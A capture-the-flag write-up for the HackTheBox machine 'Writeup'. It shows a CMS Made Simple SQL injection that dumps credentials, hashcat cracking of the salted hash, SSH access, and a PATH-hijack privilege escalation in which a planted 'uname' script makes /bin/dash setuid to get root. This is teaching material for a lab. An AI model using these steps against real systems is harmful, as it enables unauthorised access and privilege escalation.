Writeup Writeup

07 March 2023 #CTF #HTB #box #easy #linux

writeup info

Enumeration

This is a writeup for Writeup, how hilarious is that?

$ sudo nmap -sCV -oN enum/initial.nmap 10.10.10.138
[...]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 dd5310700bd0470ae27e4ab6429823c7 (RSA)
|   256 372e1468aeb9c2342b6ed992bcbfbd28 (ECDSA)
|_  256 93eaa84042c1a83385b35600621ca0ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]

HTTP

Going to http://10.10.10.138 we get a simple text-only page:

index text only

It is talking about some DoS protection which bans IPs that generate to many 40x errors. This probably means we won't be able to run a directory bruteforce without getting banned.

Lucky for us there is a robots.txt page (as nmap told us already):

robots.txt

It leaks this /writeup/ directory. Let's visit it:

writeup index

This looks like a pretty bare bones blog with a few writeups for HTB boxes. There is even one for this very box:

writeup writeup lol

Sadly (or not) it doesn't reveal much.

If we look into the source of the page, we can see it was generated by a CMS called CMS Made Simple:

meta tags

Foothold

Eventually, after searching for known vulnerabilities, we come across this SQL injection.

This is an unauthenticated exploit so perfect for us. The script will dump usernames, emails, salt and password hashes from the DB. It is using python2 so i had to fix some stuff (removing the pretty printing thingy) but it works just fine:

$ ./sqli.py -u http://10.10.10.138/writeup
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

This is a time-based SQL injection so it will take some time.

The password hash is 32 characters long so most likely md5. To crack it with hashcat we need to know if the salt is put before the password or at the end.

Or we can just test the 2 modes (10 and 20) and see which one works:

hashcat -m 20 hash.txt /opt/rockyou.txt
[...]
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
[...]

In this case the salt is put after.

Since we have creds, and SSH is open, why not try to login:

$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
[...]
jkr@writeup:~$

Nice, we indeed can.

Privesc

Our user is member of a bunch of groups:

jkr@writeup:~$ groups
jkr cdrom floppy audio dip video plugdev staff netdev

While looking for files or directory owned by the 'staff' group we find something pretty interesting:

jkr@writeup:~$ find / -group staff -ls 2> /dev/null
    189   4 drwxrwsr-x   2 root   staff   4096 Jun  3  2018 /var/local
 131442   4 drwxrwsr-x  10 root   staff   4096 Apr 19  2019 /usr/local
 131445  20 drwx-wsr-x   2 root   staff  20480 Apr 19  2019 /usr/local/bin
[...]

We can write to /usr/local/bin (and /usr/local/sbin, and all of /usr/local for that matter).

This is pretty interesting because /usr/local/bin is present before /usr/bin and /bin in the PATH variable of any user:

jkr@writeup:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

That means if root somehow executes a command without an absolute path, we can control what gets executed.

pspy will be very helpful for us, we'll scp to the box and run it:

2023/03/07 14:07:01 CMD: UID=0  PID=2186  | /usr/sbin/CRON
2023/03/07 14:07:01 CMD: UID=0  PID=2187  | /usr/sbin/CRON
2023/03/07 14:07:01 CMD: UID=0  PID=2188  | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1

Even after a few minutes, the only thing that runs is this cleanup script, not really useful for us.

If we look at pspy while logging in with SSH we get what we want:

2023/03/07 14:12:37 CMD: UID=0  PID=2212 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2023/03/07 14:12:37 CMD: UID=0  PID=2213 | run-parts --lsbsysinit /etc/update-motd.d
2023/03/07 14:12:37 CMD: UID=0  PID=2214 | uname -rnsom

the run-parts command is executed (by root) and doesn't have an absolute path, same for the uname command

We can choose any of those 2 commands, write a script in /usr/local/bin with the same name, and it will be executed by root when we log in with SSH.

jkr@writeup:~$ echo -e '#!/bin/sh\nchmod u+s /bin/dash'
#!/bin/sh
chmod u+s /bin/dash
jkr@writeup:~$ echo -e '#!/bin/sh\nchmod u+s /bin/dash' > /usr/local/bin/uname
jkr@writeup:~$ chmod +x /usr/local/bin/uname
jkr@writeup:~$ which uname
/usr/local/bin/uname

Here we create a shell script called uname that will make the /bin/dash setuid. Of course, we need to make executable.

Now, just log in again with SSH and it should get executed:

$ ssh jkr@10.10.10.138
jkr@10.10.10.138's password:
[...]
jkr@writeup:~$ ls -l /bin/dash
-rwsr-xr-x 1 root root 117208 Jan 24  2017 /bin/dash
jkr@writeup:~$ /bin/dash
# whoami
root

It worked!

Key Takeaways